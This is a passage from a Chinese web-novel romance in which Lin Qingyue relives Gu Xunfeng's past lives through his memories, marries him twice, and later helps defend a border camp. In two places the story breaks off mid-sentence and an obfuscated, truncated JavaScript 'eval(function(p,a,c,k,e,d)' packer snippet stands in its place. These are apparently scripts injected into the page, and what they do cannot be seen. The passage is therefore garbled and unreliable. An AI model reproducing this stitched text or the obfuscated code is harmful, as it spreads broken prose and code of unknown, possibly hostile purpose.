太子的话语仿若利刃,语速忽快忽慢,嘴角带着嘲讽的笑:“若他不肯承认就那样受尽折磨死在诏狱!我亦能利用流言,让你们顾家名声败坏,不管百年千年,再无翻身的机会。” 顾寻风的手发抖,他忽然想到什么,“我二姐呢?” 太子哈哈大笑:“她死了啊,昨日就死了!不过可不是我杀的,是她自己畏罪自杀的。” “放屁!”顾寻风想动手,被太子身边的人集体按住,剑交叉抵在颈边,瞬间便渗出了血珠,顺着剑刃滴落在地上,“不可能……明明我昨日去的时候见二姐还好好……是你杀了她,是你!你这个卑鄙小人!” 太子面色一变,挥开那些人掐住顾寻风的脖子:“原来是你,我就知道她不可能突然要抛弃我的!是你,都是因为你,因为你她才死的……” 说着说着,他笑了起来,把顾寻风摔在地上:“也是因为你,我才要灭了顾家。” 有人想去给上一剑,太子却喝退他们,一脚踩在顾寻风身上,此刻的神情又是无比平静:“顾家四公子,素来不馋和政事,想必也不知道那些事吧?罢了,我不是嗜杀之人,留他一命。” 太子拂袖离去,往门外走。 顾寻风想去追,但刚起身就被太子的人踹在地上。 那人见太子走了,拔剑就要刺他,“留一人总归是心腹大患,殿下不懂这个道理,但我可容不下。” 在剑要刺下的时候,一只小鸟撞了过来,撞在那人手腕上狠狠啄了一口,又立马被捏住。 “你放开它!”顾寻风冲上去,与他扭打在一起,抽出腰间的匕首把他的手腕刺穿钉在地上,夺过他手上奄奄一息的小鸟。 随后转身跑出顾府。 有很多人在追他。 那些人没有身份牌,宁愿自尽也不说是谁派来的。 而小鸟就被他握在手中,他不知道他的小鸟是不是还活着,他只是带着他的小鸟,想找个地方好生休息,就休息一会就好。 可追他的人源源不断。 他被追到了崖边,已经浑身是伤,逃亡耗费了他所有的力气,当剑再次刺过来的时候,他再没有力气去反抗了,就任由着自己的身躯倒下、坠落。 风声灌入耳中,刺得浑身的伤口都在疼痛。 一丝温暖却忽然再此刻覆上双颊。 他缓缓睁开眼,看见了…… 仙子? 面前的人一袭白衣,黑发如瀑,比任何一朵花儿都要漂亮。 是个望尘莫及的仙子。 可这时,望尘莫及的人捧着他的脸,将唇靠上来。 却就在这时,面前的人化作流光消散,那些流光一点点散去,于是露出了小鸟的尸体,他急忙伸出手去,将小鸟重新抱进怀里。 小鸟身体上的流光从他指缝间流出,直至彻底消散。 …… “唉。” “唉呀。” 林清月醒来之前,听力率先恢复,便听到一声声叹息。 她醒来之时,就见小老头站在小水池边上,摸着小胡须还在叹气。 “小老……前辈!”林清月赶紧起身跑过去,抓住小老头的双肩摇晃,“我知道了,我知道怎么回事了!前辈把我也送回军营好不好!” 小老头把她的手扒开,“你急什么?我还没问你去哪了呢……我不过是去见个人谈事情,一回来,那小孩因为肉身醒了回去了,你也不见了……” 林清月激动:“我刚刚进梦里了!我知道他究竟是怎么回事了,为什么说这一切都是他的错,又为什么执着于救他们……前辈!” 小老头越听越觉得不对劲:“停停停!你口中的那个他,莫不是姓顾?难道还是家中老四?” “咦你怎么知道?”林清月疑惑一声道,“我之前也进到过他梦里,但我刚刚进的是老早之前的梦了,他怎么又会梦到啊……” “这不是梦!”小老头忽然比她还要激动。 林清月懵住。 小老头开始解释。 “你口中那个人就是前气运子,那些,也不是梦。” “他是气运子,在气运的加持下,轻易死不掉,于是在世界崩塌后,这个世界的主神控制他一次次轮回。轮回多次,他的魂魄已经支撑不住了,故而这次他的记忆才出现问题。” “主神把重要的节点以梦的形式投入他脑中,所以他才会只觉得这是梦吧。” 林清月瞪大了双眼,嘴唇动了动,小心询问:“这样啊……所以我看到的,都是真的?” 小老头意味深长看了她一眼,“是真的。” 都是真的啊…… 不过反正他现在不记得,不会知道她曾经想吻他。 林清月摇摇头甩掉这些,“先不管这些,你先让我回去……” “放心,世界还没有崩塌的迹象,你现在身体在主神那里,等我去捞捞。” 林清月:“……为什么会在主神那里?” 小老头没有一丝不好意思,笑说:“我这不是跟他谈的时候,一不小心谈崩了吗,他就把你身体拿走了,你放心,我现在就去找他去。” 说完,他指了指那小水池:“你要是等得无聊,可以去他记忆里玩玩,没有副作用的你随便玩。” 然后小老头就消失在原地。 林清月:“……” 不是,你先说要怎么玩啊? 58. 穿梭记忆 那小老头就那么走了,林清月站在水池边抓了会头发,最后蹲在边上,试探性点了点水池。 水池荡起涟漪。 之后涟漪消散,里面窜出几颗水滴绕着她转圈圈。 林清月有些疑惑,思索了一下,而后随意戳了其中一滴。 空间仿佛静止一般,水珠碰到她的指尖,骤然炸开,将林清月包裹其中。 林清月耳边都是水声。 再次得见天光的时候,她在一个鸟窝里。 ……她就只能当鸟了吗? 算了,鸟也挺好的。 林清月动了动身子,鸟窝却忽然从树上掉下去。 慌乱之中,她扑腾了下翅膀,但一头撞到树枝上,头晕眼花。 “四哥,鸟!” “?” 但没有掉在地上。 一睁眼,她发现自己在一个人头顶上,这人对面是顾焦焦兴奋的脸。 还没来得及思考,下一秒,她就被一只手抓了下来。 “……你养的?”顾寻风看着手里的幼鸟,不禁有些无语,“我说,给你的那些老鼠不够你折腾吗?还养鸟做什么?” 顾焦焦一脸无辜:“我没有啊,不知道什么时候有鸟在这儿筑巢了……” 顾寻风把幼鸟放到桌上去。 幼鸟堪堪站稳,盯着他,“啾”了一声。 顾寻风稍稍一顿,又把幼鸟拿回手里,“我去把它放生了,留在你这里太危险,谁知道你会不会把它怎么样……” 顾焦焦气得跺脚:“我怎么可能……我不是那样的人!我只是有兴趣而已,又不是见到个东西就好奇就想看看里面到底是什么构造!” “真的不想知道鸟脑袋里面是什么样?” “……你要这么问的话……” 顾寻风转身就走。 顾寻风捧着小鸟走到了池塘边去,左右看看,把它放到一个稍微干净一点的草地上,嘴里呢喃着:“你会飞吗……不会怎么办?小花当时长到这么大好像也会飞了吧……” “啾啾啾啾啾啾啾啾!” 顾寻风一顿:“你说什么?” 接着又挠挠脑袋一笑:“你应该不会说话,我在说什么呢真是的……” “啾!” 幼鸟忽然跳起来翅膀扑腾着摇摇摆摆飞起来,在他脸上乱啄,翅膀还时不时扇到他脸上。 “哎哎哎我不是喊你小花!这名字是你们鸟的什么开关吗?!” 顾寻风慌乱挡住自己的脸。 忽然,他感觉到身上一重。 就好像是有什么东西砸到了他身上。 然后一睁眼,发现是一个人。 …… 林清月也愣住了,她没管身下的顾寻风,抬手看看,又看看自己的身体。 怎么……又变成人形了? 不会被当成妖怪抓走研究吧?! “小花——” 正在想着,顾寻风忽然捏着她手臂直起身来,眸色一亮:“是你吗?” 林清月:“……”不愿听到这个名字。 “是你吗是你吗?小花?” 林清月抬手挡住他的嘴,手动让他闭嘴,然后决定装傻。她歪歪脑袋,一副懵懂无知的样子,轻轻吐出一个字:“吵。” 顾寻风却仿佛没有听到一样,倾身抱她,差点把她撞倒。 声音还带这些哭腔,听着很是脆弱。 “我终于又看到你了……我怕你又跟着我死掉,都没有去找过你,居然还是又见面了……” “你知不知道,那天掉下悬崖,你的尸体顺着河不知道飘到哪儿了,我找了好久好久……呜呜我为什么死不掉啊,怎么都死不掉,为什么要一直重来啊,可是我真的做不好……” 林清月被他哭得心里发酸,抬手也想抱抱他。 “我都没有人可以说这些事……还好你又出现了,反正、反正你现在傻傻的,也没关系……” 林清月一停,眼睛望天,手转而往上去,揪住他衣领就把他拉走,“我不傻。” 顾寻风望着她,忽而笑了笑,连连点头:“是是是,你不傻,你之前还想亲我来着……” “胡说!”林清月的手“啪”一下按到他嘴巴上,脸上有些红,“现在,忘记!” “你果然也还记得!”顾寻风立马回她,那双眼睛更亮了。 “……” 顾寻风凑近她,满脸都写着兴奋二字,直白的问她:“你是不是也一直在找我?你一定也很想我,对不对?所以你竟然喜欢我——对不对!” ……他居然是这么不害臊的人吗? 林清月后退一些,顾寻风便往前挪一下,那双噌亮的眼睛看着她,满是期待。 林清月抿抿唇,微微垂眸:“我想抱你而已,想安慰你。” 原本只是矜持解释一下。 谁能想到,下一秒顾寻风就把她抱住了,开心道:“抱住了!” 林清月懵了。 她推开这人,犹豫着问:“你……喜欢我吗?” “喜欢!”他答得快且坚定,说完了,自己又开始不好意思,“喜、喜欢……” 林清月忍住笑意,手放在他膝盖上,凑近一些,望着他双眸,懵懂地歪歪脑袋问:“也喜欢我亲你吗?” 顾寻风瞪大了双眼,想后退,但身体僵直了动不了,“我……” 于是,下一刻,对面的人就吻了上来。 顾寻风下意识抓住了她手臂,但她的手臂顺着往上去,把他的脖子勾住,他也就闭上眼,松了手挪到她腰侧,将她轻轻抱了抱,缓缓回应。 没有持续多久,林清月再次把他推开了,问:“喜欢吗?” 顾寻风霎时红了脸,手都不知道往哪儿放,“我喜、欢。”他起身把人拉起来,将她带出顾府,拉着她穿过人群,停在了一个卖衣裳的铺子前。 “你喜欢哪件?” 林清月看看自己这身穿了不知道多久,貌似是有些凌乱的衣裳,在店里转了转,看见一件衣裳,与顾寻风第一次买给自己的那件一模一样,当即就指过去:“这个!” 于是这件衣裳,以这样一种方式再次回到了她身上。 再然后,顾寻风把她“捡”了回去,放在家中。 顾寻风说,这次他发现只要投靠太子,就不会有事,顾家就不会死人,他还说,他发现太子要当皇帝,居然是为灭了娘家。 但他觉得这些他不该管,他怕管了,顾家又会遭难。 “要不还是去看看?”林清月提议道,“我陪阿风一起。” 顾寻风摇头:“不行,太危险了。” 林清月道:“你怕我又死了?没关系,那我先嫁给你,这样,以后我就都能找到你了。” 顾寻风一愣,连忙摆手:“不不行,不能这样的,我我这样……这样、这样一点也不君子……我、我……” 林清月装傻充愣:“什么君子?” 她笑笑:“可是阿风不是喜欢我吗?焦焦说,你喜欢我,我喜欢你,就可以成婚了,这样,我们就永远都在一起。” 顾寻风抓抓头发:“我当然喜欢!你……这个顾焦焦!” 林清月吸吸鼻子,可怜巴巴说:“可是鸟儿的寿命很短,而且太子身边又那么危险,我怕以后就没有机会了,那该怎么办?” 顾寻风沉默了。 投靠太子不过是他想出的第一招,况且如今他已临近十八,本来家里就催得紧,叫他赶紧相个女子成婚,其他人,他不想相,更是相不上。 也就是这一次熬到了十七岁,才让他们有机会催婚…… 不知道想了多久,顾寻风最终道:“好。” 于是就在这里,她嫁了第二次。 嫁给了十七岁的顾寻风。 听说,顾寻风去找陛下跪了两日,陛下才大发慈悲将她收为义女并赐婚。 好在那两日无风无雨。 这是一场正式的婚礼,可本来第一次简单的她都觉得累,如今还有各种繁文缛节,而她又是经历过一次的人,就更觉得累。 不过晚上坐在新房里等了好一会,倒也消解了一些乏累。 顾寻风来掀开她的盖头时解释说:“他们非要我喝酒,可我想着,喝酒了就不能跟你好好说话了,所以……” 林清月打断他问:“我们是不是也要喝酒?” 喝第一次没顾得上的合卺酒。 他们拿起小巧精致的酒杯,一个游刃有余,一个生涩羞赧。 在酒杯离开唇边的那一刻,林清月就着这样的姿势,把他的手臂一勾,就使他弯下身来,迅速凑上去吻了一下,一碰即离。 然下一刻,顾寻风环住她的腰身将她放在了一旁的桌子上,酒杯全都掉落在地,她被压在上面吻了不知多久,衣衫都乱得不像话。她便也解开他的腰带,在他身上摸索,声音轻漫:“我们……试试?” 埋在他颈边的脑袋微微侧过来,蹭蹭她脸颊以作回应,手臂抱着她更紧。 红烛燃了许久。 林清月都不知道自己是怎么在迷乱之中卸下头冠,也记不清最后是怎么洗净上床的了。 她确实只是想试试,但没想到不仅没有把她强制传回去,感觉竟然还这么真实,真实到没经历过这些的她差点晕了过去。 有点丢脸。 …… 何止是有点! 第二天早上在他怀里醒来的时候,他还不肯放开,他说,要这样一直在一起,这一辈子,又或者,以后还能相遇的每一个。 然后被扇了一巴掌。 老实的伺候着她起来了。 二人收拾着一起去了苏周城,打听了一下,楚才果然不在,于是他们又千里迢迢去找到楚才,好说歹说才让楚才回家看看。 想着这个时间点,本身也不是皇帝动手的时间吧,所以林清月没有想太多,就跟着顾寻风走。 可谁能想到,楚才回去的时候,楚家人的鲜血已经淌了满地。 那是前皇后的娘家。 楚家很有眼力见,当初楚飞鱼当上皇后之后,他们没有接受皇帝的任何封赏,只想本本分分当个商人,可谁知道,楚飞鱼是个疯的,生的儿子也是个疯的。 最后还是被屠了满门。 而皇帝开始享乐,不理朝政。 这一次顾寻风护住了顾家,可也只是护住了顾家。 在平静的一天,顾寻风说,打算劝劝皇帝,离开了顾府,而后好几日都没再回来。 眼睛一睁一闭,林清月回到了山洞内。 她现在怀疑最终任务和皇帝有关。 皇帝崩了,世界无主,自然也会崩溃。 总之小老头还没回来,林清月思索着,又点了个水珠进去。 这一次睁眼,身边都是尸体。 她一下应激,把旁边的尸体踢远起身,下意识就要去拿百宝袋里的短剑,但摸了摸,发现在这里,百宝袋就是个空袋子。 “那边还有活人?” 身后陡然出现声音,林清月猛的转身,并且后退。 那些人骑着马,领头的…… 是江奇云。 于是林清月没有立马逃走,而是“害怕”的被他们带了回去。 路上才发现,她醒来的地方,是姜国军营。 而现在,正是她穿越过来的时间点……之后。 江奇云把她押回军营,关进了牢里。 被关起来了,这怎么能行? 于是就在一个夜晚,林清月掏出放在身上已久的钥匙,打开了锁,逃出牢房—— 再继续被抓住。 江奇云拔出剑:“太不安分,直接杀了吧。” 林清月还没开始表演,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我又没说要做什么,你跑那么快。”顾寻风把她挪近了抱在怀里,脑袋放在她肩上,微微垂眸,“……你不在,我一直都睡不好,今晚好好陪陪我,可以吗?” 他说他等了很久,林清月也想象不出来是多久,但总归,还是愧疚的。 她抱住了顾寻风,张口就来:“我一直在找你的,你……是不是在怪我?对不起……这段时间你过得怎么样?” 顾寻风抱着她紧了紧,笑说:“也就是那样了,我也不知道要怎么做才能彻底结束,只能尽力让大家都不要死。” 他的语气听起来很轻松。 然后反问:“你呢?你怎么会在姜国那边?” 林清月胡诌道:“我听说那边有个女将军,就想去看看,结果被抓住了。” 顾寻风信了,手安抚性拍着她的背,又在她身上蹭了蹭,他的气息就在耳边,轻轻的撒下:“等过几日启程回去了,我就去求陛下。” 林清月问:“又像上次那样?” 顾寻风微微点头:“这样更稳妥,毕竟是试过一次的方法。而且在他们眼里,你是俘虏,若我不大张旗鼓娶你,他们便都只认你为妾。” “那有何关系,你只有我不就够了?”林清月并不在意,反正也要走的,这个时间线也会崩的。 顾寻风抚着她发丝,眸色温柔,看向她的眼神颇为认真,“若我因为你不懂这些,就随意对待,那算什么喜欢?我是要所有人都知道,你不是什么俘虏,你就是我的妻子,我不要让任何人有机会非议你的身份。” 就这样,林清月在军营与他装模作样相处了几日,随后被带回顾府。 还是同之前一样。 不一样的是,这次是十九岁的顾寻风。 不一样的,是她也跟着去跪在了殿前。 陛下这次很快就答应了。 他们的婚礼比上一次更要隆重,那一日,所有人都知道她被陛下收为义女,嫁给了最厉害的大将军。 这回顾寻风很早便来找她,还给她带了一盒糕点过来。 “我想着你一定累了,也饿了。”顾寻风笑着坐在她旁边,撑着下巴,笑眼弯弯看她,“这是我从席上顺过来的。” 林清月捻起一块放到嘴里,“他们没追着你喝酒?” 顾寻风笑说:“他们才不敢。” “那看来这一次,你混得很厉害咯。”林清月也给他喂了一个。 顾寻风嘴里嚼着,声音含糊:“还好,没有啦……也就是有时候烦了会揍他们一顿……就老实了,久而久之传开了,就都有些怕我。” 林清月缩了缩脖子:“那太可怕了。” 顾寻风赶忙咽下糕点:“等等,你别怕我啊……” 林清月往嘴里放入一块糕点,掩嘴笑起来:“笨蛋。” 顾寻风愣了愣,旋即笑出声,两只手托起下巴,叹气哀怨道:“某人怕是一点都没想过要来找我,还是说我闯出的名声不够大?算了,谁让我喜欢她呢。” “又在怪我了。”林清月嗔怪,“唉,解释过了你也不信,看来就这么一点点喜欢——” 她拿两根手指捻了捻,比划着。 顾寻风抓住她的手,握到自己掌心里:“才不是。是非常非常——” 他将她的两只手拉开很远,然后抱住了她,“这么多这么多的喜欢。” 怀抱很温暖,暖得林清月想拥有一辈子。 但这一辈子太短了。 他们总共也没相处几天,在太子生病昏迷的那一日,顾寻风急急忙忙入宫去,他说,这次他一定要保下二姐。 林清月没看到结局。 在他离去之后,她只是睡了一觉,再一整眼,便看到了久违的军营。 和久违的队员。 59. 十日之约 “队长,你相信我,我们现在最重要的就是和顾寻风脱离关系。” “是啊是啊,你是不知道,秦安肆去救之之的时候,之之的样子——” “都停。” 林清月一醒来旁边就吵个不停。 她听了个大概,说是太子忽然生病昏迷不醒,竟被怀疑是投毒所致,顾寻风也压根没有回军营,身上的伤从来不管,就自己骑着马,去了胡京。 顾寻风想给二姐顶罪。 “他现在,还在胡京?”林清月问。 罗知之说:“他去找皇帝之前,皇帝就已经把顾家那位贵妃抓了起来,那时我就猜,皇帝是不是觉得顾家碍了他什么事,想除掉……” “是的。”皇帝想把自己母亲的家里人全都杀光,可顾寻风阻止了。所以后来,顾寻风默认自己会死在姜国,也做好了死的准备,以为这样皇帝就能放过顾家。 林清月想到那第一场梦里的情景,不由得手发抖。 可皇帝是个为达目的不择手段的疯子啊。 他要除掉顾家,不是一朝一夕的决定,或许在每一个轮回里,每一个时间线里,皇帝都想除掉顾家,从没变过。 “你知道什么?”秦安肆发现她有些不对劲,“当时我们一醒来就都在军营外面,只有你不在,昨天才在外面捡到你……你在神山里,都看见了什么?还有那个铲子,没了?” 林清月抬眸,反问一句:“发布任务的声音,你们都没听到吗?” 众人摇头。 她便转而去问罗知之:“你在胡京都发生什么了?” 罗知之赶紧汇报说:“太子的事也都知道了,这就是我配合他们去打听到的事情,他们也知道了顾家并不是全然得皇帝信任,反而是危险的。所以,他们留在了胡京,打算接应顾寻风,但被皇帝的禁军抓住关进牢里。” “不过队里有李驰,于是我与他一合计,学队长你的方法逃跑,还配合了我的药。” “他逃没逃出去我不知道,不过我是被秦安肆救回来的。” 秦安肆快速接道:“回来之后就看见你在还没修缮完的军营外面躺着身上还换了新衣服。” 他看了林清月一圈,嗤笑:“队长衣服哪来的?” “仙法变的。” 林清月搪塞一句,然后立马转身穿鞋,边问:“所以现在顾寻风已经在胡京了?” 罗知之摇头:“没消息……总之我走的时候,都没听说……哦对了,太子醒了,就是他去了应该也没事了吧?” 林清月:“这我知道。” 穿好鞋,她起身拍拍手开始收拾行李,“不过他定有大事,我们收拾收拾去救他。” 秦安肆:“凭什么?” 仲长椿:“是啊凭什么?” 林清月一边收拾一边快答:“凭我们这个任务的传承人就是太子而顾寻风此去为护顾家定会搅得皇宫天翻地覆所以——” 她拎着包袱转身。 “为了传承人的人身安全,我们必须过去。” 没有异议。 都一溜烟去收拾东西了。 林清月把包袱背好,等着他们的时间,去训练场看了看,没找到江奇云,只能作罢。 刚好他们都收拾好了东西,林清月便招呼着人往外走,光明正大走时不可行的,几人也都没带多少东西,便绕过守卫偷偷溜。 “……” “林清月,你能不能正常一点?” 林清月收回探出的脑袋,“你几个意思?” 秦安肆踢了踢她脚下被迷药弄倒的士兵,又看向配药的罗知之:“你也跟着胡闹?” 林清月代替罗知之回答:“对。” 秦安肆:“谁问你了。” “哎呀,这不也是没办法,江奇云如今也算是学到了些精髓,我们不好绕过去,一会儿就让仲长椿换上这个人的衣服去把他们引走。” 仲长椿心如死灰:“那我呢?” “队长会记得你的功劳。”林清月装模作样拍拍胸脯。 仲长椿:“……” 没忍住,林清月笑出声来,她拿出一串钥匙丢给仲长椿,“牢房的钥匙。” 秦安肆:“你这又是从哪——” “嘘。” 恰巧士兵巡逻过来了,秦安肆没问完的话只能憋回去。 角落里,士兵的衣服已经被扒了下来,仲长椿拿着衣裳,还想挣扎一下:“我又没什么功夫,他们如果问起来……” 林清月:“你就如实说,他们肯定把你关牢里,到时候你就用钥匙跑出去。” 仲长椿:“……要不还是让湛亦……” 林清月可怜:“那谁保护我?” “……” 最终,仲长椿还是换上了这件衣裳。 仲长椿视死如归般往外走:“为了团队,为了我们的共同目标,队长我会努力……” 他一只脚踏出去。 林清月:“加油!努力!” 仲长湫看热闹添乱:“为了人民币!” “长湫……”仲长椿回头想说说自家弟弟,但刚一转头,脚突然一疼,似是被什人么踩了。 刚回头,又听见一声“老师”,然后就被撞倒。 “老!师!” 小小的太子踩着不太稳的步子朝林清月奔去。 林清月深吸口气,在他抱住自己之前把他的嘴捂住,假笑:“太子殿下怎么会在这里啊?” “唔唔唔……” 林清月当即下决心,把太子往秦安肆怀里丢,转身就跑:“计划有变我一个人去就行!” 众人:“???” 可就在这时。 系统音响起。 【传承人的任务需要宿主在传承人身边才算完成。】 林清月猛的停住。 显然他们也听到了,湛亦耸耸肩:“走不了咯。” “你们在这里做什么?”似乎是追着太子而来,江奇云站在光亮处,看了眼地上躺着的士兵,又看了眼太子。 林清月当即转身走回来,把太子抱回怀里,笑道:“这不是想去瑾县逛逛嘛,刚好碰见太子了,殿下你想不想老师啊?” 太子:“想!” …… “你的意思是说,你们要去瑾县逛街,不通过正规途径出去,反而要打晕我们的士兵并且扒光他衣服然后偷偷混出去?” 营帐内,被扒光衣服的士兵瑟瑟发抖。 江奇云指了指仲长椿:“你们两个一边去,先把衣服都穿好。” 林清月肘了一下仲长椿让他安心去。 待仲长椿和那个士兵走后,江奇云盯了他们一会,缓缓开口:“你们有病吧。” 林清月斩钉截铁:“没有。” 江奇云深深叹口气说:“太子是将军差人送过来的,而且特地吩咐,说如果你们回来了要把你们按在军营,所以,就算只是去瑾县,也不行。” 这下林清月更确定顾寻风是要搞事了,也更确定太子被人下毒一事,顾家不好全身而退。 若顾寻风还记得从前的事,就能提前预防了,可惜…… 当时在他的记忆里待的时间太短,没一会就回来了,她也不甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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然后在江奇云发飙之前,她再次正色开口:“将军又不是神仙,就算是神仙,就算是天下第一,面对千军万马,也不可能一直游刃有余的。你们总不能一直依赖他。” 江奇云一怔,低下头,手攥成拳,“可我,没有那个能力。” 将军一直希望他有那个能力,能真的独当一面,他也一直在努力,可还是不及将军的万分之一。 当年他第一次见到将军,将军把他们从敌营救了出来,得知他的遭遇后又跟他彻夜长谈,那之后,他就决定要追随将军一辈子。 也就这么,一路到了副将。 在将军的庇佑下度过一年又一年。 直到那天又见到孟放歌。 “我知道,我总要自己面对这些,总不能一直靠将军来救我们,可我害怕。”江奇云垂眼盯着桌面,“从姜国回来之后,我想过很多,也想过这些,他把太子殿下交到我手里,我自然也明白这不仅仅是信任,他也想更快磨砺我——因为将军不仅仅是我们的将军,更是皇帝的将军。” 林清月把不想松手的太子强硬塞到万般不愿的秦安肆手里去,走到桌前,提笔在纸上写字。 “你也都猜到了,将军被陛下所忌惮。那将军如今在宫中,危机四伏,我们又怎么可以拖后腿?”她捏着衣袖提笔蘸墨,望了眼江奇云。 江奇云:“我当然不想拖后腿!” 林清月一笑,疾笔书写,最后把笔往桌上一搁,拿起纸张掸了掸。 “那便信你家夫人——” “给我十天时间,我会让他们,在看见军营的那一刻就落荒而逃。” 60. 再去胡京 “本身就是要你们帮忙的,当然可以给你们这个时间,但是夫人……” 江奇云站起身来,夺过林清月手中那张纸,指了指上面的“孟放歌”三个字,“你说的可以让他们落荒而逃,不会是让姜国的将军来帮忙吓唬吧?” “怎么,怕她?”林清月双手抱起。 江奇云:“……” 一旁,秦安肆好奇问:“什么意思?” 林清月这就来精神了:“八卦你听不听,我跟你们讲……” 话连一半都没讲出来,被江奇云一拍桌子打回去,那张写给孟放歌的纸也被拍在桌上,他强硬制止住了林清月接下来要说的话,咳嗽几声转移话题道:“现在事态紧急,多余的事没必要说了,我只是问,为什么要给这位孟将军写信,夫人是作何想法?” 林清月挑挑眉,知晓他不愿提起这种事的,便不再闹腾,转回来回答问题:“只凭一个建筑,自然不可能完全吓退他们,若孟将军肯来一趟,不止是对瀛洲说——我们合作了,休要放肆。也是对孟将军说,我们不是好惹的,两全其美,何不为之?” “若她不来呢?” “不肯来,我也能吓退他们。难道江副将对自己这么一点信心都没有,觉得自己的威严完全比不上孟将军吗?” “当然不会!”江奇云气得涨红了脸,“到时要怎么做,你告诉我便是,我必当竭尽所能配合你。” “好。” 林清月把桌上那张纸拿过来,“那首先,将这封信送出去。孟将军若要来,兵行千里,不是一朝一夕就能准备好的,所以要快。” “知道。”江奇云郑重其事接过纸张,转头找了信封放上,并在上面题字,字不太好看,但算工整。 林清月看了看,继续说:“第二,这十日,江副将只管练兵,把他们的士气鼓舞起来,而太子——交给我。” 江奇云顿了顿,封上信口吩咐人送出去,思考片刻,道:“不可将太子带出军营。” 林清月:“自然。” 瀛洲要攻来的事情早在之前就已经传开,兵中没几个人觉得能打过,这几日,都抓了不少逃兵回来。 为了让江奇云不瞎操心,林清月还特地给他们先把训练场重修完成了,供他练兵。 十日要修缮完成军营。 林清月也是有赌的成分的。 但如今也没有其他办法了,时间可不会等人,她还担心顾寻风那边的情况呢,快点解决这里的事情,也快点去找顾寻风。 康日在军营待的时间最多,她便让康日与瑾县来帮忙的人交谈,林清月同他一起,把瑾县那人讲得极其兴奋,转头就快马加鞭回到瑾县激情演讲,几日来辗转在临沙关内,给他们带了不少劳动力过来。 林清月也不知道太子这个小屁孩能做些什么,只能带着他一起监工,太子帮不上什么忙,只会问东问西,林清月也帮不上什么大忙,只是监督检修外加回答太子问题。 仲长湫是累得晚上能吃五碗饭。 “他们有的人实在是太不听话了!而且还喜欢抱怨,我都没抱怨什么……”仲长湫嘴里嚼嚼嚼,话还不停。 林清月安抚了他一下,转头去看饭都不吃的秦安肆:“你这又是怎么了?” 秦安肆拿笔尖点了点图纸:“在思考。” 她把菜赶了一小半在他碗里,“大少爷,可以边吃边想。” 秦安肆瞥她一眼:“我吃过了,你又赶上?” “你才吃几口?” “……” “吃饱了才能思考!” 秦安肆的眼神重新回到图纸上,笔尖没停。 林清月转而去拉过罗知之,大声问:“有没有什么让人胃口大开不得不吃饭的药……” 秦安肆咬牙切齿:“我吃。” 罗知之憋着笑咽下饭菜,添一把油:“暂时没有,不过队长如果要求,我可以先在开始做。” 一旁传来声音,秦安肆放下了笔,面无表情拿起饭碗。 林清月满意的收回余光,笑嘻嘻勾搭住罗知之的肩膀,耐心询问:“怎么样,火药配置还顺利吗?东西还缺不缺?要不我再给你们补点过去?和湛亦相处得怎么样?” 罗知之一个个回答:“挺顺利的,就是有点多,赶工累。队长给的材料很充足,不需要了。湛亦姐姐人很好,很热情很照顾我。总之,队长不用太担心。” 林清月笑笑,又道:“在胡京,辛苦你了。” “没有的,大家都很辛苦啊……” 罗知之被她说得有些不好意思。 跟罗知之聊了一会,林清月转头,看见康日又在那拿着笔,坐在秦安肆旁边写写画画。 “你们——”林清月气得指过去。 秦安肆:“吃饭。” 康日迅速扒了几口饭,含糊道:“在吃饭。” “……” 几个人里,也就湛亦和仲长椿两个年纪大些,不要人多操心。 林清月就拉着个太子,天天跟个陀螺似的到处转,她觉得自己像块砖,哪里需要哪里搬。 “这样不行,你把这个地方改了,那我的炮架哪?”林清月夺过笔。 不出半刻,又被秦安肆夺回去:“知道了知道了,要求真多,死甲方。” 林清月:“……”这就骂太脏了。 但脾气时常发不出来,就又被叫去另一边。 好在太子也不抱怨,只是安安静静跟着她,乖巧得很。 对于军营的把握,林清月并不大,全靠努力,而对于孟放歌的把握,更小。孟放歌性子难以揣测,况且要调人过来,孟放歌还要上报他们的君王,其中任何一个过程出现问题,这件事就黄了。 在第十一日的时候,军营整体差不多了。 孟放歌没有来。 完工之前,她特地把江奇云拉着看了一下午,江奇云看不懂,只能愣愣跟着,军营大体分布没怎么变,但翻修了一遍,各个地方都加固了,构造也更加严谨,还是让人耳目一新——虽然他完全看不懂。 但是能在十二天做到这样,真的很厉害。 “……以后若有时间,其实有些地方还可以改改……” “哦哦……啊好……” 军营完工,林清月累了十二日,终于能睡个安稳觉—— 才怪了。 说是十五日到这边。 但谁知道瀛洲这群阴险之人,大半夜来了。 林清月顶着个鸡窝头被拉到城墙上,心里头火旺得很。 “这些人是不是有病大晚上不睡觉我真的很困!而且我刚洗澡!” “夫人你消消气,他们就是在准备扎营……” 孟放歌也不来。 林清月深吸口气,把几人赶到炮台去,一声令下,把他们刚扎好的营帐轰了个精光。 她都能听见那边人的咒骂声。 江奇云看着那边领头的带着士兵过来了,手心捏汗。 “夫人我都还没准备好……” 没说完,身旁的夫人又掏出了威力巨大的大喇叭,他赶紧住嘴捂住耳朵。 林清月把开关一按,按钮扭到底,大喊:“有本事就来!谁怕谁啊,你以为我们没人了吗?!” 江奇云小声嘟哝:“真没人啊。” 瀛洲的人已经带兵到了城墙下,显然也不敢贸然进攻,几人在下面交谈了一下,其中一人站出来说:“我们并非有意攻打,只是想来问问攻打我们军队的原因,我们都带了使臣来,可以只让使臣进去!” 江奇云听了,准备发出疑问:“要不……” 林清月立马把他往后面推:“你信他们的鬼话。谁知道那个使臣会不会自己莫名其妙死在我们这儿,他们的人数比我们多,到时候借机攻城,哪防得住。你快去准备开打。” 江奇云被催走了。林清月站在城墙上,抬脚踩在一个木箱上,深吸口气,把扩音器放到嘴边:“不让我好好睡,你们也别想睡觉!还扎营,有没有听过一句话——卧榻之侧岂容他人安睡!” 那边换了个人回话:“你们也有句古话——” “滚远点,什么古话不古话,老娘今天想锤你们没有任何理由!”林清月根本不给他继续说话的机会。 他们还想迂回,而林清月直接攻了。 有一部分是气睡不好觉。 但其实林清月也明白,若真等他们整顿好了军队再开打,他们连最开始的优势和震慑都拿不到,更别说赢了。 